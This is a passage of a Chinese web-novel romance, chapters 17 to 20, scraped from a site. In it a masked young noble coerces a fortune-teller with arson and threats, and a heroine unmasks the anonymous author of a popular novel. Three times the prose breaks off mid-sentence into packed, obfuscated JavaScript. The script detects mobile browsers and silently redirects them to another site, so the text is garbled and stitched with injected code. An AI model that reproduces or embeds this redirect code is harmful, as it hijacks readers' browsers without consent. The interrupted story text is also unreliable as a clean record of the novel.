“我们公子只是想找他问个事,不是来算命的。”清泉道。 “鬼才信这种话!”屋里传来一个沙哑的声音,“一个个都这样说,到头来还不都是都是死缠烂打。阿杏,送客!” 阿杏只得硬着头皮抬起手:“诸位,请回吧。” “陆先生,某今日来,并非为算命,只是有一事想要核实。”燕之郁缓缓开口道,“陆先生开个价,一切好商量。” “老夫最讨厌的,就是你这等有个臭钱就目中无人的货色!”屋里的人吼道,“趁老夫还没发怒,赶紧滚。” 看来靠说是行不通的。 燕之郁微微侧首,幂篱轻转。 “打火石有么。” 清泉立刻从怀中掏出一枚乌黑的燧石。 “烧掉。” “得令!” 阿杏闻言,吓得魂飞魄散,慌忙上前想要阻拦,可清泉身形如电,起落间便已轻巧跃上茅草屋顶。 浓黑的烟雾顷刻间升腾而起。阿杏吓得眼泪掉出来。 “陆老先生,陆老先生,他们……” 茅屋的木门“吱呀”一声被推开,一位白发老者拄着拐杖大步走出。老者虽年迈,却精神矍铄,横眉怒斥道:“无知狂徒!别以为这等手段就能逼老夫就范……”他抬头看了眼冒烟的屋顶,竟冷笑道,“天下之大,何处不可为家!此处不留,自有留处!” 倒是颇有风骨。 燕之郁唇角微勾,指尖轻抬,指向瑟瑟发抖的阿杏:“清池。” “是。” 女郎袖中寒光一闪,青灰色的蝴蝶短刀已然在手,身影如鬼魅般欺近小郎。 阿杏吓得尖叫一声,扭头就往屋里跑,但没跑两步就被绊倒在地,冰凉的刀柄抵在他的后颈上,他“哇”地一声哭出来:“呜呜呜……陆老先生救我!” “且慢!”老人猛一顿拐杖,看向燕之郁,“你可知老夫是谁?” “先生请讲。” “呵、呵……这么同你说罢。即便是当年的宣德娘娘,尚且要尊称老夫一句陆老先生。”老人傲然道。 宣德娘娘乃是当今圣上养母,如今的宣德太后。 看来这个人算命的确很准。 燕之郁微微颔首,平淡道:“所以呢?” “你们赶紧束手就擒。老夫还能饶你们一马。”老人道。 “既然陆先生还是不愿意和某好好谈谈……”燕之郁轻叹一声,惋惜道,“清泉,清池,都杀掉吧。” “你——!”陆黎活了大半辈子,没见过如此厚颜无耻、心狠手辣、不仁不义、蛇蝎心肠之人,气得面色涨红,胡须直颤,“行!老夫答应你便是。你要问什么?” 茅屋顶已被烧穿一个大洞,灰烬簌簌落下,飘进桌案上的茶壶里。 “某听闻,陆先生从前为何小姐算过命。”燕之郁一整容色,语气恢复温和。 “哪位何小姐,老夫没听过。”陆黎双臂抱胸,没好气地答道。 “江都县仁丰里,的何家小姐。陆先生曾断言,她活不过十七岁。” 陆黎皱眉思索片刻,冷哼道:“哦,确有此事。” “当时是冬天,有个女娃娃在街边堆雪人,老夫正巧路过,闲着无事,便替她看面相。女娃娃相貌虽然清秀,但先天根基稍显浅薄,元气未充,很难活过十六七岁。老夫好心告知其家人,反被那何家老妇骂得狗血淋头!老夫气不过,弄来她的生辰八字重算一遍,结果一般无二——绝活不过十七岁,一日都难熬!算算时日……这女娃娃竟还活着?” “嗯。”燕之郁点点头,继续道,“陆先生可算得出她因何而死。” 陆黎狐疑地觑他一眼:“你同那女娃娃什么关系?” “某是她的朋友。” 陆黎会意,摸着胡须笑笑:“你该不会是想替她化解吧?” “可惜,老夫十年前就同何老夫人说过,这女娃娃是意外横死之相。人生在世,意外防不胜防,无法化解的。不如趁活着及时行乐。” “陆先生算命很准么?”燕之郁蹙眉又问。 “黄口小儿,你竟敢质疑老夫?”陆黎气道,“你若是不信,老夫现下便让你开开眼!” “你,叫什么?生辰八字报来!”他看向一旁的清泉。 “李清泉。生辰八字……”清泉摸摸脑袋。他从小不曾见过双亲,在暗卫司长大,当然不知自己的生辰,“我不清楚。” “你呢?”他又看向清池。 “我也不清楚。”清池和清泉一样,由暗卫司的嬷嬷抚养长大。 “陆先生不是单凭面相即可断命么?”燕之郁问。 “单看面相哪有生辰八字准?你看起来像他们的主子,总记得生辰八字吧?” “永昌三年,十月二十五日,巳时一刻。”燕之郁如实道。 陆黎取过笔墨,刷刷写画起来。 “幂篱摘掉,让老夫观相。” 燕之郁迟疑片刻,将幂篱摘下。 “倒是有……天人之姿。”陆黎冷嗤一声。 “毕竟是我们家公子嘛!女的男的老的少的都会喜欢的——”清泉忙不迭道。 “去去去,老夫可没夸赞的意思。”陆黎打断他,抚须沉吟,“老夫说的‘天’,是驾鹤归天的天。你们家公子活不过弱冠。” 风将窗棂拍得吱吱作响。一道锋利的剑影闪过,落在陆黎的脖子上。 “陆老先生!”阿杏想冲上前,但却闻到一阵冷香,下一个,女郎冰冷的刀柄抵在他脸侧。“你也乖,别乱动。” 清泉架着剑,神色一改往日嬉皮笑脸的模样:“陆老先生,你最好想想怎么跟我们公子说话。” 陆黎却神色不变,看看燕之郁,又瞥了眼案上墨迹未干的命盘,依旧道:“老夫的推算,从无虚言。你们公子默不作声,怕是也觉得老夫所言非虚吧?” 少年静坐着,一动不动,风拂动他漆黑的鬓发。他看着陆黎,没有说话。 活不过弱冠。 过完这个月的生辰,他便年满十八。倘若陆黎所言不虚,他只剩下两年的阳寿。 他对长寿倒无太多执着,但是两年光阴,实在太短,他亦会心有不甘。 “公子……”清泉见他神色有异,急道,“这老匹夫一定是借着算命,辱骂公子而已,公子别放在心上……” “你们爱信不信!”陆黎骂骂咧咧着,“不过你们公子和何小姐不一样,倒并非必死局。” 燕之郁抬起眸:“陆老先生请讲。” “总算还有点请教的样子。”陆黎轻嗤一声,“‘刚过易折’,行事勿赶尽杀绝,便不会招惹不该惹之人。” “听上去,某是死于人祸。”燕之郁方才就有此感,“是谁?” “这岂是算命能算出的?”陆黎白他一眼,“总之,与人留余地,便是与己留生路。你好自为之。” 燕之郁默然片刻,起身,郑重一揖:“多谢。” “谢谢谢!谢个屁!屋子都被你烧成这样还谢!”陆黎气得吹胡子瞪眼,“还不让他们把剑放下。” 涕泪横流的阿杏连忙跑到陆黎身边,抽噎不止。 燕之郁抬头看了眼破损的屋顶,唇线微抿。 “陆老先生今后想要住哪?某可以——” “滚!”陆黎不耐地挥手,转而柔声安抚阿杏,“不哭不哭……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421879|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >== 接下来的十数日,燕之郁再没有回过何家。代替他留在府中的,始终是清泉。 正如清泉说的那般,何妙观果真一次也未曾来寻过他。 “何小姐这些时日,都在忙什么?” 半月过去,燕之郁忍不住问道。 清泉回禀道,何小姐每日不是窝在房中看些闲书话本,便是带着何宝珠在江都县四处转悠,似乎在寻什么人。 看来,那句“井水不犯河水”,她并非戏言,而是当真要与他划清界限。 燕之郁扯了扯唇角,只觉荒谬。他强迫自己将目光重新投向案头堆积的公文,提笔蘸墨,笔尖悬停片刻,又烦躁地搁下。 “何小姐在找什么人?” 清泉像是早料到他会有此一问,不慌不忙地从怀中掏出一本话本,封面上赫然写着《人间四月芳菲尽》。他指着作者名处—— “碧湖仙人”。 找这个人做什么? 燕之郁想不明白。她似乎总是做一些令他费解的事。 “她找到了么?” “尚无头绪。”清泉摇摇头,“这作者藏得很深,没人知道此人的真名。” 燕之郁命清泉将话本留下,令他继续回何府盯着。清泉撇撇嘴,虽有些不情愿,却也不敢多言,领命退下。 燕之郁翻开书页。 何妙观要找“碧湖仙人”,此书应当有什么特殊之处。 这本《人间四月芳菲尽》讲述的是前朝七国纷争时的故事。 南阳王之子林焉秋对家仆之女薛素芳一见倾心,两人暗通款曲。但南阳王嫌薛素芳出身卑贱,欲暗中将其处死。林焉秋得知后,携薛素芳私奔至邻国西泽。 薛素芳因身负占卜天象之能,得西泽王赏识,成为其幕僚。年轻的西泽王对薛素芳暗生情愫,威逼其与林焉秋和离,薛素芳非但严词拒绝,更依据星象直言南阳王位终将易主。恼羞成怒的西泽王处死林焉秋,将薛素芳强占,囚于深宫。 薛素芳忍辱负重,终觅得时机毒杀西泽王,辅佐其表姐登基。对朝堂心灰意冷后,她携林焉秋骨殖悄然离去,化名“芳菲尽”,云游四海。 说到底,不过是扬州很寻常的话本套路。 燕之郁放下书册,才惊觉窗外已透出熹微晨光。 窗外传来一二声清脆的鸟鸣。 彻夜未眠,他眼下泛着淡淡的青黑,胸口亦有些发闷。 他坐在榻边,拉上帐幔。安神香袅袅升起,令他紧绷的神经松弛下来。 然而这一觉睡得极不安稳。 梦中,有人居高临下地俯视着他,淡淡道:“善恶终有报,燕之郁,你落得如此下场,怨不得旁人。” 他仰起头,想看清那人的面容,奈何对方背光而立,只见一个模糊的轮廓。 不……并非全然因逆光之故,更是因他的双眼…… 是眼疾。 眼前仿佛蒙着一层厚厚的白翳,视物一片混沌。他艰难地低下头,看见自己身上肮脏破烂的囚服,手臂、腿脚之上,皆是皮开肉绽、血肉模糊的鞭痕。脚踝处,沉重的铁链缠绕着他,将他如牲畜般禁锢在地。 “燕之郁,很意外自己会落到这步田地?”眼前的人冷冰冰道。 燕之郁努力分辨,但不知是因为梦还是其他原因,那声音不男不女,不辨老少,古怪异常,仿佛隔着一层浓雾。 他试图挣扎起身,却浑身瘫软,使不上一丝力气。 此人挑断了他的脚筋。 一块又湿又臭的破布猛地覆上他的口鼻,此人用力按住他的肩膀,将他死死压在地上。冰冷沉重的铁链“哐当”一声锁上他的脖颈。 滴答,滴答。 无比熟悉的水声再度响起来,落在浸透的破布上,一点点掠夺他的呼吸。 “燕公子!” 燕之郁猛地睁开眼。 18.十八 见燕之郁的面色不佳,清泉心头一慌,声音也不自觉地低了下去。 “公子恕罪……实在是事出紧急,属下才不得不贸然闯入,而且、而且……” 他实在没料到申时,燕之郁竟还在睡。 “你说。”燕之郁走到屏风后,开始更换寝衣。 “何小姐、何刺史都要见公子。”清泉连忙禀报。 今日他照例扮作公子留在何府。未时有人叩门,他以为是婢女照例送来茶点,便如常开门。谁知门外站着的竟是何妙观。 清泉第一反应便是抬起宽大的袖袍掩住面容。 虽说易容术精巧,可何小姐毕竟是能一眼识破公子真身的人,眼力必然非同寻常。清泉唯恐露馅,只得推说身体不适,今日恐难作陪。 不料何妙观闻言愈发担忧,执意要为他请郎中来看看。 他急中生智,忙改口道并非大病,只是脸上突发疹子,不便见人。 何妙观这才作罢,将食盒递给他。他打开一看,今日的点心却与往日不同,是一碗撒着香脆花生碎的桂花甜露。 很是美味。 可刚用完点心,张管事又前来传话,说是何刺史有要事相商,请他午后至正厅一叙。 清泉这下真的没招,只好谎称腹痛如绞,需稍缓片刻再去。待张管事一走,他便一路飞奔至此,在屋外等候。谁知半炷香过去,屋内仍无动静,万般无奈之下,只得硬着头皮闯了进来。 “你下回能不能找点体面的借口?” 燕之郁换好衣袍自屏风后转出,俊美无俦的脸上阴云密布。 清泉低下头去,小声应是。 燕之郁沉着脸,取过案上朱笔,随意在颊边点染三颗红点,复又戴上一副轻纱面罩。 何徵在正厅里等他。 见他面覆轻纱,何徵便关切询问缘由。 “只是疹子而已,两三日便能消下去,何刺史不必挂怀的。” 何徵这才放心,面露喜色道:“小燕郎君,今日是有桩喜事要告知于你。” “你虽然才学出众,却因为出身所限,无缘科考,本官深以为憾。故而想方设法,欲为你谋个引荐入仕的门路。”何徵抚须笑道,“恰巧徐侍郎正在扬州,他愿意见你一见。本月廿五,正值侍郎寿辰,你随本官同去赴宴。” “同去”。 燕之郁觉得有趣,忍不住轻笑出声,面纱之上,一双桃花眼弯如新月。 “是。多谢刺史大人提携。”说罢,又起身行了一礼。 “都是一家人,何必言谢。”何徵摆摆手,又问,“近日囡囡都在忙些什么?” “回刺史,近日小姐……鲜少来寻在下。郁也不知是何种原因。”燕之郁低下眼,长长的睫羽垂下来,看上去很是落寞。 何徵闻言微怔。 上一位穆莲在时,囡囡可是终日与之形影不离的。怎的这位才一个多月便…… 这可如何是好? 他已将他引荐给徐侍郎了啊! 何徵盯着他的面纱看,洁白的羽纱下,有一两处碍眼的红点。 大抵就是因为脸上有疹子,囡囡才不愿意再找他的。只要容貌恢复如初,应当能重获囡囡的喜爱。 何徵轻叹一声,宽慰道:“本官认得一位擅治疹子的郎中,改日让他为你瞧瞧。” “外头的人总是说囡囡不好,可为父的心里清楚,她并无坏心,只是……唯独把容貌看得太重……小燕郎君切记,一定要保护好这一张脸。”说完,又拍拍他的肩,“本官头一回见你,就知道你并非池中之物。” 燕之郁答谢后回到屋内。夜色渐深,门外再次响起轻柔的叩门声。 他起身开门,却见门外并非何妙观,而是一名手捧瓷瓶的婢女。 婢女把一个小瓷瓶递上来,道:“小姐命奴婢送来此药,说是可治疹子” 燕之郁接过那只白瓷小瓶,指腹感受着瓶身冰凉的触感。 “有劳姑娘……”他抬眸,温和一笑,“带我去见一见何小姐。” = 那次争执过后,何妙观一连数日,心情都很低沉。 她不知道该如何面对燕之郁。 脑海中反复浮现出那些挥之不去的画面:鹅毛大雪,倾颓的茅屋,难产而亡的女子,满地刺目的血迹,以及最后那个断了气的婴孩…… 她无法克制地对他生出怜悯,却又厌烦他言语中的虚与委蛇、心口不一。如此矛盾的心绪下,她索性避而不见,一晃便是半月。 可未曾想,他竟也未曾主动寻她! 今日她好不容易鼓起勇气前去见他,却只换来那般敷衍的对待,简直是热脸贴上冷屁股。 她绝对不会再理他。 秋意渐浓,夜风穿堂而入,带着浸骨的寒凉。 何妙观伏在案上,怔怔望着窗外沉沉的夜幕。天幕上不见星子,唯有一轮圆月孤零零地悬着,洒下清冷的光辉。 一阵叩门声响起来。 “何小姐在么?” 是那道熟悉的嗓音,清冽如泉,恰似此时窗外的月光。 何妙观直起身子,看向侍立一旁的阿葵,用力地摇摇头。 他既如此待她,她也要让他尝尝被冷落的滋味。 阿葵会意,扬声道:“燕郎君,小姐今日想早些安歇,你明日再来吧。” 站在屋外的燕之郁一时沉默。夜风拂动他脸上柔软的面纱,带来一阵微痒的触感。 果然,何妙观还是不想见他。 == 翌日清晨,相似的对话再次上演。 阿葵站在门扉边道:“燕郎君,小姐今日要出门寻人,怕是不得空见你,改日再来吧。” 燕之郁沉默片刻,问道:“其实是何小姐不愿见我,对不对?” 阿葵一时语塞,支吾道:“小姐向来有话直说,说不方便,就是不方便,不是不愿意。燕郎君你不要多想。” “郁知道何小姐要寻的是何人。” 阿葵看着他平淡的神色,一时难辨真假,只得道:“奴婢去禀报小姐。” 何妙观今日穿着件藕荷色的襦裙,走动时裙裾翩跹,如芙蕖摇曳。 她打量着他,见他脸上光洁无瑕,不禁问道:“你疹子呢?” “多谢何小姐赐药,灵验非常。”燕之郁微微笑道,“若是没消下去,郁也不好意思来见你。” “哦……”何妙观撇撇嘴,又问,“你真知道我要找的人是谁?” 燕之郁摇摇头。 “你又骗人!”何妙观顿时气结,嘴角立刻垮了下来,“害我白高兴一场!” “若是不这样说,何小姐便一直不愿意见我。”他黑眸定定地望着她,很认真地一字一句道,“何小姐,郁只是想见你一面,这一次便原谅我罢。” “可是骗人是不对的。” “嗯。郁甘愿领罚。何小姐怎么罚都行。”他从善如流道。 何妙观一时语塞,抬眸撞进他示弱的眼神里。 她早该料到,他总能这般恰到好处地说出些让人心旌摇曳的话。 而她偏偏最吃这一套。 “原谅我罢,何小姐。十四日不见,郁真的很思念你。”见她态度有所松动,燕之郁一边软语相求,一边悄然上前半步,拉近了彼此的距离。他微微低头,能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426975|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见她发间那支芙蓉花簪,亮晶晶的,点缀在乌黑的秀发里,隐隐约约还能闻到香气。 并非花香,而是女子发间膏泽的淡香。 他喉结微动,不着痕迹地侧过脸,继续道:“何小姐想找谁,我同你一起,可好?” “我想找的人是……不对——”何妙观后退半步,后背靠在门板上,退无可退,“燕之郁,你又骗人!你说想念我,但从不主动找我,你……”好不容易压下去的火气又窜了上来,她气得眼眶泛红,“我那日说过,我讨厌别人把我当傻子一样戏弄,你觉得这样逗着我玩,很有趣,对不对?” 燕之郁静静地望着她。女郎那双圆润明亮的杏眸里已盈满了水光,泫然欲泣。 他缓缓移开视线,目光落在她耳畔摇曳的绯红流苏上。 那流苏晃动着,在他眼中化作一团模糊的红影,没由来的烦躁与心慌蓦地涌上心头。 “何小姐……”他垂下眼眸,纤长的眼睫随着呼吸微微颤动,“何小姐那日说要‘井水不犯河水’,郁是担心贸然前来,反倒惹你厌烦,这才一直等着你。昨日午后不见,也是不知该如何面对你。但又心中煎熬,昨夜才冒昧又来。” “你的话,我一个字都不信。”何妙观一脸不信地抬起眼。 “那要如何才肯信?”他含着些许无奈的笑意,举起手作发誓状,“若郁有半句假话,便叫我天打雷劈、不得善终,如何?” 这样好的大艳阳天,怎么可能忽然打雷。这个誓言一点信服力都没有。 但时辰已不早,她无法再与他僵持,而他这般示弱的姿态又着实令人心软。最终,何妙观还是妥协,允他一同登上马车。 马车里是等待已久的何宝珠。 见到燕之郁进来,何宝珠肉眼可见地有点惊喜:“姑姑,你们这是……和好啦?” “宝珠小姐,我们何时不好过。”燕之郁面不改色,语气坦然。 何妙观闻言,轻白他一眼,终究懒得辩驳,转头望向窗外。 景色倒退,马车缓缓启动,向醉仙楼驶去。 = 何妙观要找“碧湖仙人”,是为兑现承诺,帮宝珠找一个能“立身”的营生。 《人间四月芳菲尽》这话本在闺阁女子间流传甚广,颇受青睐;而何宝珠的画风细腻秀丽,灵动婉约,正合女儿家的审美趣味。二者若能结合,便是相得益彰。 因此,何妙观盘算着找到这位“碧湖仙人”,商谈将话本重新刊印,并配上插画的事宜。 可这个“碧湖仙人”,实在是神秘莫测,半个月下来,唯一的线索就是此人喜欢来醉仙楼,每月的初五、十五、二十五中午都会来点上一份德记桂花露。 今日恰是十五,何妙观便想来碰碰运气。 将近正午,醉仙楼内渐渐热闹起来。一行人在二楼临窗的雅座坐下。 此处视野开阔,可俯瞰街上车水马龙。 每隔半炷香,何妙观便找堂倌问,是否有人点德记桂花露。 得到的回答却总是“尚未”。 半个时辰过去,何宝珠有些气馁,托着腮帮子嘟囔道:“姑姑,会不会今日有事,这仙人不来啊?” 何妙观心里也没底,只得安抚道:“再耐心等等看。” “等等,姑姑!你看那边——” 何妙观顺着她的目光望去,看清来人面容时,心中顿时暗叫不妙。她下意识地拽住燕之郁的衣袖,急急指向另一侧的楼梯,示意他赶紧避开。 然而为时已晚。 “咦,妙观,你也在这?” “这一位……哎,是你新养的小郎君?呃,叫燕之郁?” 19.十九 顾蕙仙的目光从好友泛着红晕的脸颊缓缓移开,落在两人紧紧相握着的手上。 她本就不信贪玩成性的好友能忽然转了性子,接连十天半月约不出来。 果然,果然…… 眼前的小郎君肤白胜雪,姿容清绝,一双墨玉般的眸子波光流转。眼角的一点小痣,恰似雪地红梅,为那份疏离高华的气质平添一抹艳色,一望便知是世间难寻的殊色。 哎,可怜她的阿兄。 幼时的顾蕙仙,曾一心盼着何妙观能与自家兄长结为连理。 他们是她眼中最般配的青梅竹马、金童玉女。 阿兄是全扬州最俊朗的少年郎,何妙观是她最亲密的闺中挚友。若是他们能成亲,日后三人同住一个屋檐下,她简直不敢想能过上怎样幸福的生活。 可惜,可惜。阿兄志向高远,不愿意一直留在扬州。十一岁时,他便随升迁入京的伯父远赴长安。 所谓的娃娃亲,没有情谊加持,终不过一纸虚言而已。 年岁渐长,何妙观不再是小时候羞涩内敛的模样。十五岁那年,顾蕙仙眼睁睁看着她乔装打扮,去南风馆找伶人消遣。她躲在屏风后面,看着那些不知廉耻的伶人是如何卑微谄媚,又是如何用纤细修长的手指将荔枝剥得汁水淋漓,而后俯身渡入她的口中。 十五岁的何妙观坦然受之,十五岁的顾蕙仙面红耳赤。 这样……是不对的吧? 阿兄怎么办? 你喜欢他们的话,阿兄又该如何自处? 我们还能做一家人吗?你还能做我的嫂嫂吗? 顾蕙仙痛苦地绞紧了手中的帕子。 不对不对不对。她必须阻止她,不能让她就此沉沦。 可是该怎么做? 绝不能将此事张扬出去。若让爹爹知晓妙观私逛南风馆,盛怒之下必定退婚。若让阿兄知道…… 素来高傲不可一世的阿兄,怕是会修书一封,将妙观骂得无地自容。 是他们勾引她,是他们教坏她。如果他们只是本分地弹琴吹箫,不摆出那些谄媚的姿态,她一定不会偎在他们的怀里,任由他们唇齿相贴地喂食葡萄,还吃得那样缠绵。 顾蕙仙最憎恶的是那个叫“穆莲”的伶人,仗着有点姿色,便不知天高地厚。每次何妙观去南风馆,必点他作陪。他总是摆出弱柳扶风的姿态,细白的脸上泛着薄红,眼眸总是弯弯的,含着盈盈泪水。 幸好,看不惯他的,不止她一人。 只需些许银钱,便能点燃其他伶人的忌火,将理智烧得一干二净。 但为什么会这样。 明明只差一点、只差一点…… 明明只差一点他的脸就被簪子毁掉,她却能赶过来? 为什么她还愿意让他留在何府? 她的名声怎么办?一个伶人而已,真的值得么? 每次踏入何府,见到那个不知羞耻的伶人,顾蕙仙都恨得牙痒。 但好在这个伶人并不是真心爱妙观,为着自己的青梅,竟敢往妙观的饮食里下毒。 从那之后,妙观就变得失魂落魄,不愿意再去南风馆。 但顾蕙仙知道,妙观和阿兄的娃娃亲依旧摇摇欲坠。尤其是阿兄高中探花后,听说有不少长安城的名门贵女对阿兄青眼有加。而爹爹明面上不表,私下怕是早已物色起其他的适龄女郎! 女子的名声如同泼出去的水,既已无法挽回,她只能从阿兄和爹爹身上另谋他法。 == “妙观,不怨你,他确实不错。”顾蕙仙轻叹一声,喃喃道。 “蕙仙,你听我解释,我们其实——” “我懂、我都懂。”顾蕙仙一摆手,止住她的话,“妙观,是我不该在这,打扰你们的闲情雅致。” “你们”两个字被咬的很重。 “蕙仙姐姐,姑姑和他真的没什么!”何宝珠急忙道,“宝珠可以作证,这是姑姑和燕郎君头一回牵手。平日里他们绝不这样的。” 何妙观闻言,慌忙将手抽回。 “头一回啊,难怪,难怪。”顾蕙仙会意地点点头,目光在何妙观绯红的脸上逡巡,“少见你脸红成这样。” 但小郎君依旧是那副云淡风轻的模样,白皙的面容上不见半分赧色,毫无羞赧害臊的样子,还极有闲情雅致地略一弯唇,朝身畔的女郎柔柔一笑。 “还说没关系,这小郎君还朝你笑呢!”顾蕙仙立刻抓住把柄。 “这有什么奇的。燕郎君在府里,也只朝姑姑一个人笑。”何宝珠表示见怪不怪。 眼看顾蕙仙又要发作,何妙观连忙岔开话题:“你今日来这做什么?” 顾蕙仙一愣,环顾四周喧闹的食客,感到莫名其妙。 “来酒楼……或许是吃饭吧。” 何妙观自觉犯蠢,尴尬地点头:“蕙仙,那你先用膳,我们还有些事——”话音未落,顾蕙仙已一把扯住她的胳膊,将她按回座位。 “别急着走嘛,妙观。”顾蕙仙笑眯眯地弯起眼,“今日我请客,随便点。宝珠,小郎君,你们也坐。” 何妙观无奈,只得重新落座。 顾蕙仙托着腮,饶有兴致地打量着二人,问起他们如何相识、如今进展到何种地步。 何妙观一口咬定二人毫无瓜葛,只说燕之郁是受阿父赏识,暂居府中而已。 见她口风甚紧,顾蕙仙转而看向燕之郁。 何妙观生怕他又像往日那般说出什么“承蒙怜惜”的暧昧话语,急忙朝他使眼色。见他不为所动,又急急用口型威胁: ——不许乱说。 ——不然我再也不理你。 燕之郁眼底掠过一丝笑意,从善如流道:“何刺史与家父是故交。家父过世后,何刺史念旧,便将郁接入府中照拂。” “这全然是何刺史的安排,同何小姐无关。” 顾蕙仙脸上写满了“不信”二字,斜睨他一眼,又转向何妙观:“妙观,我们谁跟谁呀!你同我说实话,我保证不告诉阿兄。” 何妙观举起手,神色郑重:“蕙仙,我若有半句虚言,便叫我天打雷——” “呸呸呸!我信你便是!”顾蕙仙赶忙捂住她的唇,“既然你和他没关系,那过些日子,阿兄回来,我们三个人聚聚。” 顾蕙仙的阿兄,便是原主的未婚夫顾徊。 “……嗯。”何妙观低下头,声音微不可闻。 “待阿兄在京中站稳脚跟,你们便选个良辰吉日完婚。”顾蕙仙美滋滋地规划着,亲昵地靠向何妙观,紧紧搂住她的腰,“妙观,等你做我的嫂嫂,我们便能日日在一处玩耍,多好啊。” 何妙观浑身僵硬,苦笑道:“你阿兄离开扬州这么久,怎么可能还记得我。” 原书之中,顾徊与原主是一对怨偶,互相瞧不上眼,成婚后即刻分房而居。 何妙观觉得,这种“对抗路”的感情线,能避免就避免。她实在不想与顾家闹得太难堪。 “有我在,阿兄绝不可能另娶他人。”顾蕙仙笃定地摇头,“除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432524|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非……是你心中早已有了旁人,不愿嫁给我阿兄。” “我真的没有……”何妙观不欲在此事上纠缠。 今日找不到“碧湖仙人”,她本就心烦意乱。想到不久后还需应付顾徊,脸色更是肉眼可见地黯淡下去。 顾蕙仙看出她的不满,不再多言,唤来堂倌点菜。 醉仙楼的午膳偏油腻,用完膳后,顾蕙仙道:“这里的桂花露很不错,你尝尝?” 何妙观微微抬起眼:“你很喜欢桂花露?” 顾蕙仙点点头:“是呀,这可是本小姐的每月必尝。秋天的桂花最新鲜,桂花露也最为甘醇。” 何妙观用调羹缓缓搅动着瓷碗中晶莹剔透的桂花露,心中一动。 或许“碧湖仙人”是个女子。 “蕙仙,我有话想同你单独说。” 顾蕙仙连忙起身,随她走向一旁的僻静角落:“可是和阿兄有关?” “不是。”何妙观摇头,“是我近日在读一本书,想问问你可曾看过。” “你说来听听。” “叫《人间四月芳菲尽》。” 顾蕙仙的神情肉眼可见地僵住,眼神闪烁:“看、看过的……你喜欢么?” “还行。” “我觉得……很是一般。”顾蕙仙垂下眼,神色有些不自然,“这书剧情狗血,人物刻板,文笔也稀烂,不知道怎么火的,哎,或许世人就爱看些不费脑筋的故事……” “方才我是骗你的。”何妙观连忙道,“我其实非常喜欢。这书……果真是你写的,对么?” 顾蕙仙张张嘴,面颊瞬间绯红:“妙观,我、我听不懂你在说什么。” “这书里各家宅院布局是按着仁丰里来的,说明作者是江都人,还住在仁丰里附近,这附近只住着何家、顾家、刘家、陈家、宋家。看书里的文中诗词典故,我猜作者出身诗书世家。宋家是商户,家里没有读书的习惯,又不可能是我们家的人写的,剩下的只有顾、陆、陈三家。” “根据用词风格,作者很年轻。陈家的年轻人都不在扬州,这样,便只剩下顾家、刘家。” “书里的两位主角特别爱吃带着花生碎的桂花露,全书一共出现……呃,四十八回,作者还专门在后记里也提过两嘴。这些日子我和宝珠到处找,昨日才发现,江都只有醉仙楼卖这种桂花露。于是我问掌柜,他说确有一位食客每月逢五必来。因此,我便来守株待兔。” 说到最后,何妙观不免有些自得。 她没想到,那个世界看的推理动漫,竟能排上这种用处。 顾蕙仙又是羞窘又是气恼地望着她,白皙的脸蛋涨得通红,眼眶也微微泛红。 掉马甲的滋味,任谁都不会好受。 更何况这本书……何妙观想起里面的莺莺燕燕、鱼水之欢、巫山云雨、露滴牡丹,上也不禁有些发烫:“蕙仙,我发誓,我是不会告诉旁人的。我找你,其实是想合作。” 顾蕙仙依旧紧咬着下唇,一副戒备姿态。 何妙观便将宝珠打算为话本配画、合作刊印的想法和盘托出,正色道:“以后赚钱,我们七三分,你七,我和宝珠三。若是你不同意,可以再谈。” 片刻沉默后,顾蕙仙的神色渐渐柔和下来。 “不用七三分,五五分就好。但我有三个要求。” “第一,你不许让第三个人知晓这本书是我写的。” “第二,你以后不许和我谈论这本书的任何情节。” “第三……” 20.二十 第三件也并非难事。 不过是让何妙观得空多来顾家走动。 接下来的日子,何妙观依约而行,隔三差五便往顾家去。顾家子嗣繁盛,单是年纪相仿的姊妹,便能凑齐一桌叶子戏。 时光便如涓涓细流,在弹棋、投壶、叶子戏里悄然淌过。 如此一来,她和燕之郁见面的次数减少许多。偶尔在何府遇上,他仍同往日一般,唇角噙着温柔缱绻的笑意,黑眸深深凝望着她,吐露些似是而非的言语。 “何小姐就不好奇,郁这些时日都在忙些什么?” 是夜,何妙观踏月而归,又在桂花香扑鼻的□□上遇见他。 他既这样说,何妙观便顺着问道:“哦?燕郎君在忙什么?” “不告诉你。这月月底你便知道。”他故意卖个关子。 “好吧——”何妙观并不恼。 这段时间,他的黑化值很稳定,倒不用担心他会弄什么幺蛾子。 “何小姐……”见状,他露出一副“你还真不问”的委屈表情,自己泄底道,“刺史大人说,要把郁引荐出去做官。” 何妙观一时讶异,片刻后才道:“看来阿父很赏识你,真好。” 